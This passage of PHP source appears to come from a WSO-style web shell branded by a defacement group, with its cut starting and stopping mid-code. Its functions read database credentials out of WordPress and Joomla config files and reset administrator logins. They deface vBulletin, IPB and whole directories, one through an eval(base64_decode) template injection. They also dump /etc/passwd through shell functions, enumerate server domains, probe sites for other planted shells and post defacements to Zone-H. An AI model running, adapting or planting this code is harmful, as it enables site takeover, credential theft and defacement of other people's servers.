r","webservices","websphere","whois","wireless","work","world","write","ws","ws1","ws2","ws3","www1","www2","www3","www4","www5","www6","www7","www8","www9","drupal","wordpress","joomla","db","database","love");
if($_POST){ 
$url = $_POST["site"]; 
foreach($subs as $sub){ 
if(!eregi($url, gethostbyname($sub.".".$url))){ 
echo '<font face="Baskerville Old Face" color="#df5">'.$sub.".".$url.' : </font><font color="green">'.gethostbyname($sub.".".$url).'</font></br>'; 
}else{ 
echo '<font face="Baskerville Old Face" color="#df5">'.$sub.".".$url.' : Nothing Found</font></br>'; 
} 
} 
} 
wsoFooter();} 
####################### Forums ####################### 
function actionforum() { 
wsoHeader(); 
echo' 
<center> 
<h1>Wordpress</h1> 
<a href=# onclick="g(\'wpsym\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      WordPress Login Changer From Config       ]</a><br><br> 
<a href=# onclick="g(\'wpkey\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      WordPress Login Changer From Keyboard       ]</a><br><br> 
<center> 
<h1>Joomla</h1> 
<a href=# onclick="g(\'jmsym\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Joomla Login Changer From Config       ]</a><br><br> 
<a href=# onclick="g(\'jmkey\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Joomla Login Changer From Keyboard       ]</a><br><br> 
<center> 
<h1>Vbulletin</h1> 
<a href=# onclick="g(\'vbindex\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Vbulletin index changer       ]</a><br><br> 
<center> 
<h1>PHPBB</h1> 
<a href=# onclick="g(\'phpbb\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      PHPBB index changer       ]</a><br><br> 
<center> 
<h1>IPB</h1> 
<a href=# onclick="g(\'ipb\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      IPB index changer       ]</a><br><br> 
<center> 
'; 
wsoFooter(); } 
######################### IPB ####################### 
function actionipb() { 
wsoHeader(); 
echo'<center><h1> IPB index Changer </h1> 
<form method = "POST"> 
<table border = "1" width="443" height="316" style="text-align: center" align="center"> 
<tr> 
<td height="105" width="780"> 
<p align="center"><b>Host : </b>  
<input type="text" name="f10" size="20" value="localhost">&nbsp;<b>  
DataBase&nbsp;:</b> <input type ="text" name = "f11" size="20"></p> 
<p align="center">&nbsp;<b>User :</b>  
<input type ="text" name = "f12" size="20"> 
<b>&nbsp;Password :</b>&nbsp; <input type ="text" name = "f13" size="20"><p align="center"> 
<b>Table Prefix:</b><br> 
<input type ="text" name = "f14" size="20" value="ibf_skin_sets"></td> 
</tr> 
<tr> 
<td height="167" width="780"><p align="center">&nbsp;<textarea name="index3" cols=53 rows=9> <br><center>Hacked By Phenomene Dz <br><center>[ Martyrs Crew ]<br>#Algerian Hacker <br><center>#Free Pilastine <br><center>#www.fb.com/J1jeI 
 </textarea><p align="center"><input type="hidden" name="a" value="ipb"><input type = "submit" value = "Deface !">&nbsp;&nbsp;&nbsp;&nbsp; 
<input type = "reset" value = "Clear"></td> 
</tr> 
</tr> 
</table>'; 
$localhost3 = $_POST['f10']; 
$database3  = $_POST['f11']; 
$username3  = $_POST['f12']; 
$password3  = $_POST['f13']; 
$IPB = $_POST['f14']; 
$index3     = $_POST['index3']; 
if($database3=$_POST['f11']){ 
$con3 =@ mysql_connect($localhost3,$username3,$password3) or die; 
$db3 =@ mysql_select_db($database3,$con3) or die; 

$query3 = "UPDATE $IPB SET set_cache_wrapper = '$index3'" or die; 
$result3 =@ mysql_query($query3,$con3); 
if($result3){ 
echo "<p align='center'> 
<marquee behavior='alternate' bgcolor='#FF0000' style='color: #000000; font-weight: bold'>[ Mr.511 ]----[ Update Finish ]----[ Mr.511 ]</marquee></p>"; 
} 
else { 
echo "<p align='center'><marquee behavior='alternate' bgcolor='#FF0000' style='color: #000000; font-weight: bold'>[ Mr.511 ]----[ Please Check Database Information ]----[ Mr.511 ]</marquee></p>"; 
} 
} 
wsoFooter(); } 
########################  wp key ############################ 
function actionwpkey() { 
wsoHeader(); 
{ 
if(empty($_POST['pwd'])){ 

echo "<br><br><center><div class='mybox'> 
<h1>[ Wordpress login changer ]</h1> 
<FORM method='POST'>DB Prefix :  <INPUT class ='inputz' size='8' value='wp_' name='prefix' type='text'>&nbsp;&nbsp;Host :  <INPUT class ='inputz' size='10' value='localhost' name='localhost' type='text'>&nbsp;&nbsp;db :  <INPUT class ='inputz' size='10' value='Database' name='database' type='text'>&nbsp;&nbsp;User :  <INPUT class ='inputz' size='10' value='db_user' name='username' type='text'>&nbsp;&nbsp;Pass :  <INPUT class ='inputz' size='10' value='db_pass' name='password' type='text'>&nbsp;&nbsp;<br><br>New User :  <INPUT class ='inputz' name='admin' size='15' value='jijle3'><br><br>New Pass :  <INPUT class ='inputz' name='pwd' size='15' value='19620705'><br>&nbsp;&nbsp;<br><input type='hidden' name='a' value='wpkey' ><INPUT class='inputzbut' value='Change it Please' name='send' type='submit'></FORM></div/></center>"; 
} 
else{$prefix = $_POST['prefix'];$localhost = $_POST['localhost'];$database= $_POST['database']; 
$username= $_POST['username']; 
$password= $_POST['password']; 
$pwd= $_POST['pwd']; 
$admin= $_POST['admin']; 
@mysql_connect($localhost,$username,$password) or die(mysql_error()); 
@mysql_select_db($database) or die(mysql_error()); 
$hash = crypt($pwd); 
$grab = @mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='home'"); 
$data = @mysql_fetch_array($grab); 
$site_url=$data["option_value"]; 
$jijle3=@mysql_query("UPDATE ".$prefix."users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error()); 
$jijle3=@mysql_query("UPDATE ".$prefix."users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error()); 
if($jijle3){echo '<br><br><center><h1>Done ... -> <a href="'.$site_url.'/wp-login.php" target="_blank">Login</a></h1></center>'; 
}} 
echo '</center>'; 
} 
wsoFooter(); } 
########################  wp sym ############################ 
function actionwpsym() { 
wsoHeader(); 
if ($_POST['kill']) { 
$url = $_POST['url']; 
$user = $_POST['user'];$pass =$_POST['pass']; 
$pss = md5($pass); 
function enter($text,$a,$b){$explode = explode($a,$text);$explode = explode($b,$explode[1]); 
return $explode[0];}$config = file_get_contents($url);$password =  enter($config,"define('DB_PASSWORD', '","');"); 
$username =  enter($config,"define('DB_USER', '","');");$db =  enter($config,"define('DB_NAME', '","');");$prefix =  enter($config,'$table_prefix  = \'',"';");$host =  enter($config,"define('DB_HOST', '","');");if($config && preg_match('/DB_NAME/i',$config)){$conn= @mysql_connect($host,$username ,$password ) or die ("i can't connect to mysql, check your data");@mysql_select_db($db,$conn) or die (mysql_error());$grab = @mysql_query("SELECT * from  `wp_options` WHERE option_name='home'");$data = @mysql_fetch_array($grab);$site_url = $data["option_value"];$query = mysql_query("UPDATE `".$prefix."users` SET `user_login` = '".$user."',`user_pass` = '".$pss."' WHERE `ID` = 1");if ($query) {echo '<center><h2 class="jijle3">Done !</h2></center><br><table width="100%"><tr><th width="20%">site</th><th width="20%">user</th><th with="20%">password</th><th width="20%">link</th></tr><tr><td width="20%"><font size="2" color="red">'.$site_url.'</font></td><td width="20%">'.$user.'</td><td with="20%">'.$pass.'</td><td width="20%"><a href="'.$site_url.'/wp-login.php"><font color="#00ff00">login</font></td></tr></table>';} else echo '<h2 class="jijle3"><font color="#ff0000">ERROR !</font></h2>';} else die('<center><h2 class="jijle3">Jijle3@phdz:~# This is Not WordPress Config !</h2>');} else { ?> <center><br><br><div class="mybox"><form method="post"> 
<h1 style='font-size:26px;' class='jijle3'>[ Wordpress Login changer From Config ]</h1> 
<br> 
<table><tr><td>Config File Link&nbsp;:&nbsp;</td><td> 
<input size="26" class="inputz" type="text" name="url" value=""> 
</td></tr><tr><td>New User&nbsp;:&nbsp;</td><td> 
<input class="inputz" type="text" name="user" size="26" value="jijle3"></td> 
</tr><tr><td>New Pass&nbsp;:&nbsp;</td><td> 
<input class="inputz" type="text" size="26" name="pass" value="jijle3"></td></tr><tr><td> 
<br></td></tr><tr><td> 
<input type="hidden" name="a" value="wpsym"><input class="inputzbut" type="submit" name="kill" value=" Change it Please "></td> 
<br></tr></table></form></div> 
</center><?php } 
wsoFooter(); } 
########################  joomla sym ############################ 
function actionjmsym() { 
wsoHeader(); 
{ 
if ($_POST['symjo']) { 
$config = file_get_contents($_POST['url']); 
$user = $_POST['user']; 
$pass = md5($_POST['pass']); 
function ex($text,$a,$b){ 
$explode = explode($a,$text); 
$explode = explode($b,$explode[1]); 
return $explode[0]; 
} 
if($config && ereg('JConfig',$config)){ 
$psswd =  ex( 
$config,'$password = \'',"';"); 
$username = ex($config,'$user = \'',"';"); 
$dbname = ex($config,'$db = \'',"';"); 
$prefix = ex($config,'$dbprefix = \'',"';"); 
$host = ex($config,'$host = \'',"';"); 
$email = ex($config,'$mailfrom = \'',"';"); 
$formn = ex($config,'$fromname = \'',"';"); 
$conn = mysql_connect($host,$username,$psswd) or die(mysql_error());mysql_select_db($dbname,$conn) or die($username.' '.$psswd.' '.$host.' '.$dbname); 
$query = @mysql_query("UPDATE `".$prefix."users` SET `username` ='".$user."' , `password` = '".$pass."', `usertype` = 'Super Administrator', `block` = 0"); 
if ($query) { 
echo '<center><h2 class="jijle3">Done !</h2></center><br><table width="100%"><tr><th width="30%">site name</th><th width="20%">user</th><th width="20%">password</th><th width="20%">email</th></tr><tr><td width="20%"><font size="2" color="red">'.$formn.'</font></td><td width="20%">'.$user.'</td><td with="20%">'.$_POST["pass"].'</td><td width="20%">'.$email.'</td></tr></table>';}else {echo '<h2 class="jijle3"><font color="#ff0000">ERROR !</font></h2>';}}else die('<h2 class="jijle3"><font color="#df5">Jijle3@phdz:~# This is Not Joomla Config . .  <br><br> # i Will Drive if You Are Drunk !</font></h2>'); 
} 
else {  
?> 
<center><br><br><div class="mybox"> 
<form method="post"><table> 
<h1 class="jijle3">Joomla Login Changer From Config</h1> 
<tr><td>config link : </td><td><input class="inputz" type="text" name="url" value=""></td></tr><tr><td>new user : </td><td><input class="inputz" type="text" name="user" value="admin"></td></tr><tr><td>new password : </td><td><input class="inputz" type="text" name="pass" value="123123"></td></tr><tr><td><br></td></tr><tr><td><input type="hidden" name="a" value="jmsym"><input type="submit" class="inputzbut" name="symjo" value="change"></td><br></tr></table></form></div></center><?php }} 
wsoFooter(); } 
########################  joomla key ############################ 
function actionjmkey() { 
wsoHeader(); 
{ 
if(empty($_POST['pwd'])) 
{ 
echo "<br><br><br><center><div class='mybox'><h1>Joomla login changer</h1><FORM method='POST'><br><br><br>DB_Prefix :&nbsp;&nbsp;<INPUT class ='inputz' size='8' value='jos_' name='prefix' type='text'>&nbsp;host :&nbsp;&nbsp; 
<INPUT class ='inputz' size='10' value='localhost' name='localhost' type='text'>&nbsp;database :&nbsp;&nbsp;<INPUT class ='inputz' size='10' value='database' name='database' type='text'>&nbsp;username :&nbsp;&nbsp;<INPUT class ='inputz' size='10' value='db_user' name='username' type='text'>&nbsp;password :&nbsp;&nbsp;<INPUT class ='inputz' size='10' value='db_pass' name='password' type='text'><br>&nbsp;&nbsp;<br>New Username:&nbsp;&nbsp;<INPUT class ='inputz' name='admin' size='15' value='jijle3'><br><br>New Password:&nbsp;&nbsp;<INPUT class ='inputz' name='pwd' size='15' value='123123'><br><br>&nbsp;&nbsp;<input type='hidden' name='a' value='jmkey'><INPUT value='change' class='inputzbut' name='send' type='submit'></FORM></div></center>"; 
} 
else {$prefix = $_POST['prefix']; 
$localhost = $_POST['localhost']; 
$database  = $_POST['database']; 
$username  = $_POST['username']; 
$password  = $_POST['password']; 
$admin = $_POST['admin']; 
$pd = ($_POST["pwd"]); 
$pwd = md5($pd);@mysql_connect( 
$localhost,$username,$password) or die (mysql_error()); 
@mysql_select_db($database) or die (mysql_error()); 
$SQL=@mysql_query("UPDATE ".$prefix."users SET username ='".$admin."' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die (mysql_error()); 
$SQL=@mysql_query("UPDATE ".$prefix."users SET password ='".$pwd."' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die (mysql_error()); 
if($SQL) echo "<br><br><center><h1>Password Changed ! ... Go and login</h1></center>";}} 
wsoFooter(); } 
######################## vb index ###################### 
function actionvbindex() { 
wsoHeader(); 
{ 
if(empty($_POST['index'])) 
{ 
echo "<center><br><br><div width='100%' class='mybox'><br><h1 class='jijle3'>Vbulletin index changer</h1> 
<br><FORM method='POST'>host : <INPUT size='12' class='inputz' value='localhost' name='localhost' type='text'>&nbsp;|&nbsp;database : <INPUT class='inputz' size='12' value='db_name' name='database' type='text'>&nbsp;|&nbsp;username : <INPUT class='inputz' size='10' value='db_user' name='username' type='text'>&nbsp;|&nbsp;password : <INPUT class='inputz' size='10' value='bd_pass' name='password' type='text'>&nbsp;|&nbsp;perfix : <input class='inputz' size='10' value='' name='perfix' type='text'><br><br><textarea class='inputz' name='index' cols='40' rows='10'> 
<br><center>Hacked By Phenomene Dz <br><center>[ Martyrs Crew ]<br>#Algerian Hacker <br><center>#Free Pilastine <br><center>#www.fb.com/J1jeI 
</textarea><br><input type='hidden' name='a' value='vbindex'><INPUT class='inputzbut' value='Deface' name='send' type='submit'></FORM></div></center>"; 
} 
else{$localhost = $_POST['localhost']; 
$database = $_POST['database']; 
$username = $_POST['username']; 
$password = $_POST['password']; 
$perfix = $_POST['perfix']; 
$index = $_POST['index']; 
@mysql_connect($localhost,$username,$password) or die(mysql_error()); 
@mysql_select_db($database) or die(mysql_error()); 
$index=str_replace("\'","'",$index);$set_index  = "{\${eval(base64_decode(\'"; 
$set_index .= base64_encode("echo '$index';"); 
$set_index .= "\'))}}{\${exit()}}</textarea>"; 
$ok=@mysql_query("UPDATE ".$perfix."template SET template ='".$set_index."' WHERE title ='FORUMHOME'") or die(mysql_error()); 
if($ok){echo "Hamd Li Allah . . . Vb Forum Has Been DEFACED ! <br><br>"; 
}}} 
wsoFooter(); } 
#######################  {Smylink } ############################## 
function actionsym() { 
wsoHeader(); 
//Smylinker 
echo' 
<center> 
<h1>File Symlink</h1> 
<br /><br /> 
<form method="post"> 
<input type="hidden" name="a" value="sym"> 
<input type="text" name="file" value="/var/www/" size="50"/><br /><br /> 
<input type="text" name="symfile" value="algeria.txt" size="50"/><br /><br /> 
<input type="submit" value="symlink" name="symlink" /> <br /><br /> 
</form> 
'; 
$pfile = $_POST['file']; 
$symfile = $_POST['symfile']; 
$symlink = $_POST['symlink']; 
if ($symlink) 
{ 
@mkdir('phdzsymF',0755); 
$c  = "Options Indexes FollowSymLinks 
 DirectoryIndex ssssss.htm 
 AddType txt .php 
 AddHandler txt .php 
  AddType txt .html 
 AddHandler txt .html 
 Options all 
 Options 
 Allow from all 
 Require None 
 Satisfy Any";
$f =@fopen ('phdzsymF/.htaccess','w'); 
@fwrite($f , $c); 
@symlink("$pfile","phdzsymF/$symfile"); 
echo '<br /><a target="_blank" href="phdzsymF/'.$symfile.'" >'.$symfile.'</a>'; 
} 
?></center><?php 
wsoFooter();} 


################ Etc/pwd #################### 
function actionetcbaypass() { 
wsoHeader(); 
//etc passwd 
?></center><?php 
echo '<br><center><h1>Etc Passwd Bypasser</h1><br>[ Bism Allah ]<center><br><br>'; 
echo ' 
<form method="post"> 
<input type="submit" value="Use [ System ] Function" name="syst"> 
<input type="hidden" name="a" value="etcbaypass"> 
</form> 
</center><br> 
</p> 


<form method="post"> 
<font face="Tahoma" color="#007700" size="2pt"> 
<input type="submit" value="Use [ PassThru ] Function" name="passth"> 
<input type="hidden" name="a" value="etcbaypass"> 
</form> 
</center><br> 
</p> 

<p><center> 
<form method="post"> 
<input type="submit" value="Use [ Exec ] Function" name="ex"> 
<input type="hidden" name="a" value="etcbaypass"> 
</form> 
</center><br> 
</p> 

<p><center> 
<form method="post"> 
<input type="submit" value="Use [ Sh Exec ] Function" name="shex"> 
<input type="hidden" name="a" value="etcbaypass"> 
</form> 
</center><br> 
</p> 

<p><center> 
<form method="post"> 
<input type="submit" value="Use [ Posix Getpwuid ] Function" name="dz"> 
<input type="hidden" name="a" value="etcbaypas"> 
</form> 
</center><br> 
</p> 

<center>'; 
     

//System Function // 
if($_POST['syst']) 
{ 

echo"<textarea class='area' cols='65' rows='15'>"; 
echo system("cat /etc/passwd"); 
echo"</textarea><br>"; 
echo" 
<br> 
<b> 
</b> 
<br> 
"; 
} 
echo ' 
</center> 
<center>'; 
     


//Passthru Function // 
if($_POST['passth']) 
{ 
echo"<textarea class='area' cols='65' rows='15'>"; 
echo passthru("cat /etc/passwd"); 
echo"</textarea><br>"; 
echo" 
<br> 
<b> 

</b> 
<br> 
"; 
   
} 


echo ' 
</center> 
<center>'; 
     


//exec Function // 
if($_POST['ex']) 
{ 
echo"<textarea class='area' cols='65' rows='15'>"; 
echo exec("cat /etc/passwd"); 
echo"</textarea><br>"; 
echo" 
<br> 
<b> 
</b> 
<br> 
"; 
} 


echo ' 
</center> 
<center>'; 


//exec Function // 
if($_POST['shex']) 
{ 
echo"<textarea class='area' cols='65' rows='15'>"; 
echo shell_exec("cat /etc/passwd"); 
echo"</textarea><br>"; 
echo" 
<br> 
<b> 
</b> 
<br> 
"; 
} 
echo '</center> 
<center>'; 
     


//posix_getpwuid Function // 
if($_POST['dz']) 
{ 
echo"<textarea class='area' cols='65' rows='15'>"; 
for($uid=0;$uid<60000;$uid++){  
$ara = posix_getpwuid($uid); 
if (!empty($ara)) { 
while (list ($key, $val) = each($ara)){ 
print "$val:"; 
} 
print "
"; 
} 
} 
echo"</textarea><br>"; 
echo" 
<br> 
<b> 
</b> 
<br> 
"; 
} 
?></center><?php 
wsoFooter();} 
################################## Server User ############################## 
function actionetcnmd() { 
wsoHeader(); 
echo '<br><center><h1>Server User Bypasser</h1><br>[ Bism Allah ]<center><br><br>'; 
echo ' 
<div class="tul"><font color="ee5500" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt"> 

<p><center> 
<form method="post"> 
<input type="submit" value="Use [ AWK Programe ] Function" name="awk"> 
<input type="hidden" name="a" value="etcnmd"> 
</form> 
</center><br> 
</p> 


<p><center> 
<form method="post"> 
<input type="submit" value="Use [ Systeme ] Function" name="syst"> 
<input type="hidden" name="a" value="etcnmd"> 
</form> 
</center><br> 
</p> 

<p><center> 
<form method="post"> 
<input type="submit" value="Use [ Passthru ] Function" name="passth"> 
<input type="hidden" name="a" value="etcnmd"> 
</form> 
</center><br> 
</p> 

<p><center> 
<form method="post"> 
<input type="submit" value="Use [ Exec ] Function" name="ex"> 
<input type="hidden" name="a" value="etcnmd"> 
</form> 
</center><br> 
</p> 

<p><center> 
<form method="post"> 
<input type="submit" value="Use [ Sh Exec ] Function" name="shex"> 
<input type="hidden" name="a" value="etcnmd"> 
</form> 
</center><br> 
</p><center>'; 
     

//Awk Program // 
if ($_POST['awk']) { 
echo"<textarea class='area' cols='65' rows='15'>"; 
echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort"); 
echo "</textarea><br>"; 
echo " 
<br> 
<b> 
</b> 
<br> 
"; 
} 
echo "</center><center>"; 
     
//System Function // 
if ($_POST['syst']) { 
echo"<textarea class='area' cols='65' rows='15'>"; 
echo system("ls /var/mail"); 
echo "</textarea><br>"; 
echo " 
<br> 
<b> 
</b> 
<br> 
"; 
} 

echo "</center><center>"; 
     
//Passthru Function // 
if ($_POST['passth']) { 
echo"<textarea class='area' cols='65' rows='15'>"; 
echo passthru("ls /var/mail"); 
echo "</textarea><br>"; 
echo " 
<br> 
<b> 
</b> 
<br> 
"; 
} 
echo "</center><center>"; 
     
//exec Function // 
if ($_POST['ex']) { 
echo"<textarea class='area' cols='65' rows='15'>"; 
echo exec("ls /var/mail"); 
echo "</textarea><br>"; 
echo " 
<br> 
<b> 

</b> 
<br> 
"; 
} 

echo "</center><center>"; 
     
//exec Function // 
if ($_POST['shex']) { 
echo"<textarea class='area' cols='65' rows='15'>"; 
echo shell_exec("ls /var/mail"); 
echo "</textarea><br>"; 
echo " 
<br> 
<b> 
</b> 
<br> 
"; 
} 
?></center><?php 
wsoFooter();} 
##################### Shell Finder #################### 
function actionshellfind() { 
wsoHeader(); 
echo'<center> 
<center><h1>Shell Finder<h1><br> 
<p align="center"></p><br> 
<form method="POST"> 
</form><center> 
<form action="" method="post"> 
<input name="traget" type="text" size="100" value="http://www.site.co.il/"/><br> 
<input type="hidden" name="a" value="shellfind"> 
<br><br> 
<input name="scan" size="100" value="Start Scaning" type="submit"> 
</form><br>'; 

set_time_limit(0); 

if (isset($_POST["scan"])) {   

$url = $_POST['traget']; 

echo "<br /><span class='start'>Scanning ".$url."<br /><br /></span>"; 

$shells = array("WSO.php","shell.php","3xd.php","dz.php","priv8.php","sniper.php","dhanush shell.php","cpanel.php","cpn.php","sql.php","mysql.php","madspot.php","cp.php","cpbt.php","sYm.php",
"x.php","r99.php","lol.php","jo.php","wp.php","whmcs.php","shellz.php","d0main.php","d0mains.php","users.php", 
"Cgishell.pl","killer.php","changeall.php","2.php","Sh3ll.php","dz0.php","dam.php","user.php","dom.php","whmcs.php", 
"vb.zip","r00t.php","c99.php","gaza.php","1.php","wp.zip"."wp-content/plugins/disqus-comment-system/disqus.php", 
"d0mains.php","wp-content/plugins/akismet/akismet.php","madspotshell.php","Sym.php","c22.php","c100.php", 
"wp-content/plugins/akismet/admin.php#","wp-content/plugins/google-sitemap-generator/sitemap-core.php#", 
"wp-content/plugins/akismet/widget.php#","Cpanel.php","zone-h.php","tmp/user.php","tmp/Sym.php","cp.php", 
"tmp/madspotshell.php","tmp/root.php","tmp/whmcs.php","tmp/index.php","tmp/2.php","tmp/dz.php","tmp/cpn.php", 
"tmp/changeall.php","tmp/Cgishell.pl","tmp/sql.php","tmp/admin.php","cliente/downloads/h4xor.php", 
"whmcs/downloads/dz.php","L3b.php","d.php","tmp/d.php","tmp/L3b.php","wp-content/plugins/akismet/admin.php", 
"templates/rhuk_milkyway/index.php","templates/beez/index.php","admin1.php","upload.php","up.php","vb.zip","vb.rar", 
"admin2.asp","uploads.php","sa.php","sysadmins/","admin1/","administration/Sym.php","images/Sym.php", 
"/r57.php","/wp-content/plugins/disqus-comment-system/disqus.php","/shell.php","/sa.php","/admin.php", 
"/sa2.php","/2.php","/gaza.php","/up.php","/upload.php","/uploads.php","/templates/beez/index.php","shell.php","/amad.php", 
"/t00.php","/dz.php","/site.rar","/Black.php","/site.tar.gz","/home.zip","/home.rar","/home.tar","/home.tar.gz", 
"/forum.zip","/forum.rar","/forum.tar","/forum.tar.gz","/test.txt","/ftp.txt","/user.txt","/site.txt","/error_log","/error", 
"/cpanel","/awstats","/site.sql","/vb.sql","/forum.sql","/backup.sql","/back.sql","/data.sql","wp.rar/", 
"wp-content/plugins/disqus-comment-system/disqus.php","asp.aspx","/templates/beez/index.php","tmp/vaga.php", 
"tmp/killer.php","whmcs.php","tmp/killer.php","tmp/domaine.pl","tmp/domaine.php","useradmin/","ma.php", "tn.php", "wso.php.html", "shell.php", "dhanush.php", 
"tmp/d0maine.php","d0maine.php","tmp/sql.php","tmp/dz1.php","dz1.php","forum.zip","Symlink.php","Symlink.pl",  
"forum.rar","joomla.zip","joomla.rar","wp.php","buck.sql","sysadmin.php","images/c99.php", "xd.php", "c100.php", 
"spy.aspx","xd.php","tmp/xd.php","sym/root/home/","billing/killer.php","tmp/upload.php","tmp/admin.php", 
"Server.php","tmp/uploads.php","tmp/up.php","Server/","wp-admin/c99.php","tmp/priv8.php","priv8.php","cgi.pl/",  
"tmp/cgi.pl","downloads/dom.php","templates/ja-helio-farsi/index.php","webadmin.html","admins.php", 
"/wp-content/plugins/count-per-day/js/yc/d00.php", "admins/","admins.asp","admins.php","wp.zip"); 

//Start Scan 
foreach ($shells as $shell){ 
$headers = get_headers("$url$shell"); //  

if (eregi('200', $headers[0])) { 
//Result 
echo "<a href='$url$shell'>$url$shell</a> <span class='found'</span><br /><br/><br/>"; //  
} 
} 
} 
?></center><?php 
wsoFooter();} 
######################### Domains ######################### 
function actiondomains() { 
wsoHeader(); 
echo '<center><h1>Server Domain</h1>'; 
$file = @implode(@file("/etc/named.conf")); 
if(!$file){ die(" [/etc/named.conf] Not Writeable ! "); } 
preg_match_all("#named/(.*?).db#",$file ,$r); 
$domains = array_unique($r[1]); 
//check(); 
//if(isset($_GET['ShowAll'])) 
{ 
echo "<table align=center border=1 width=59% cellpadding=5> 
<tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr> 
<tr><td>Domain</td><td>User</td></tr>"; 
foreach($domains as $domain){ 
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain)); 
        echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>"; 
        } 
    echo "</table>"; 
    } 
echo '</div>'; 
wsoFooter(); } 
######################### Mass Deface ######################### 
function actionmass(){ 
wsoHeader(); 
?> 
<head> 
<center> 
<span style="font-weight: 700;" class="style33"> 
    <h1>Folders Mass Defacer</h1></span></span></span><BR> 
    </div> 
<form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'> 
<div class="style31"><center> 
<span>Directory : </span><br><input type='text' style='width: 250px' value='<?php  echo getcwd() . "/"; ?>' name='massdefacedir'><BR><br> 
<span>index  Url : </span><br><input type='text' style='width: 250px' name='massdefaceurl'> 
    </form></td> 
<p class="style3"> 
<input type="hidden" name="a" value="mass"><input type='submit' name='execmassdeface' value='>>'></div> 
<center><span>Rusult : <span> 
<span <ul> 
    <span class="style32"> 
    <span class="style39"> 
    </span></p> 
<span style="font-weight: 700;" class="style33"> 
    <font class="hk" style="text-shadow: 2px 2px 3px rgb(0, 0, 0);"> 
</center> 
<div class="style31"> 
<html> 
<?php 
echo "<center><textarea rows='10' cols='100'>ph@dz:~# Jijle3 Mass Defacer |  "; 
$defaceurl = $_POST['massdefaceurl']; 
$dir = $_POST['massdefacedir']; 
echo $dir."
"; 
if (is_dir($dir)) { 
    if ($dh = opendir($dir)) { 
        while (($file = readdir($dh)) !== false) { 
                        if(filetype($dir.$file)=="dir"){ 
                                $newfile=$dir.$file."/index.html"; 
                                echo $newfile."
"; 
                                if (!copy($defaceurl, $newfile)) { 
                                        echo "ph@dz:~# Faild To Copy ! >> $file..."; 
                                } 
                        } 
        } 
        closedir($dh); 
    } 
} 
echo "</textarea></center>"; 
wsoFooter(); } 
############## Domain #####################  
function actionDomain(){ 
printHeader(); 
echo '<h1>local domain viewer</h1><div class=content>'; 
$file = @implode(@file("/etc/named.conf")); 
if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); } 
preg_match_all("#named/(.*?).db#",$file ,$r); 
$domains = array_unique($r[1]); 
//check(); 
//if(isset($_GET['ShowAll'])) 
{ 
echo "<table align=center border=1 width=59% cellpadding=5> 
<tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr> 
<tr><td>Domain</td><td>User</td></tr>"; 
foreach($domains as $domain){ 
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain)); 
        echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>"; 
        } 
    echo "</table>"; 
    } 
echo '</div>'; 
wsoFooter(); 
} 
######################### Zone-h  ############################ 
function actionzoneh() { 
wsoHeader(); 
{ 
?> 
<br><br><center> 
<!-- Zone-H --> 
<form action="" method='POST'><table><table class='tabnet'><tr> 
<center> 
<h1>Zone-H Mass Poster</h1> 
<br /><br /> 
<font>Attaker Name<font><center><input type="text" class="inputz" name="defacer" value="Martyrs Crew" /><br> 
<select name="hackmode" class="inputz" > 
<option >------------------------ Select ------------------------</option> 
<option value="1">known vulnerability (i.e. unpatched system)</option> 
<option value="2" >undisclosed (new) vulnerability</option> 
<option value="3" >configuration / admin. mistake</option> 
<option value="4" >brute force attack</option> 
<option value="5" >social engineering</option> 
<option value="6" >Web Server intrusion</option> 
<option value="7" >Web Server external module intrusion</option> 
<option value="8" >Mail Server intrusion</option> 
<option value="9" >FTP Server intrusion</option> 
<option value="10" >SSH Server intrusion</option> 
<option value="11" >Telnet Server intrusion</option> 
<option value="12" >RPC Server intrusion</option> 
<option value="13" >Shares misconfiguration</option> 
<option value="14" >Other Server intrusion</option> 
<option value="15" >SQL Injection</option> 
<option value="16" >URL Poisoning</option> 
<option value="17" >File Inclusion</option> 
<option value="18" >Other Web Application bug</option> 
<option value="19" >Remote administrative panel access bruteforcing</option> 
<option value="20" >Remote administrative panel access password guessing</option> 
<option value="21" >Remote administrative panel access social engineering</option> 
<option value="22" >Attack against administrator(password stealing/sniffing)</option> 
<option value="23" >Access credentials through Man In the Middle attack</option> 
<option value="24" >Remote service password guessing</option> 
<option value="25" >Remote service password bruteforce</option> 
<option value="26" >Rerouting after attacking the Firewall</option> 
<option value="27" >Rerouting after attacking the Router</option> 
<option value="28" >DNS attack through social engineering</option> 
<option value="29" >DNS attack through cache poisoning</option> 
<option value="30" >Not available</option> 
</select> 
<select name="reason" class="inputz" > 
<option >------------- Select ---------------</option> 
<option value="1" >Heh...just for fun!</option> 
<option value="2" >Revenge against that website</option> 
<option value="3" >Political reasons</option> 
<option value="4" >As a challenge</option> 
<option value="5" >I just want to be the best defacer</option> 
<option value="6" >Patriotism</option> 
<option value="7" >Not available</option> 
</select> 
<input type="hidden" name="action" value="zone"> 
<center><textarea name="domain" cols="116" rows="9" id="domains">-Jijle3 : Sites Here</textarea> 
<br /><input type="hidden" name="a" value="zoneh"><input class='inputzbut' type="submit" value="Send'it Please !" name="SendNowToZoneH" /><br></center></table> 
</form></td></tr></table></form> 
<!-- End Of Zone-H --> 
</td></center><br><br> 
<?php 
echo '<center>'; 
    ob_start(); 
    $sub = get_loaded_extensions(); 
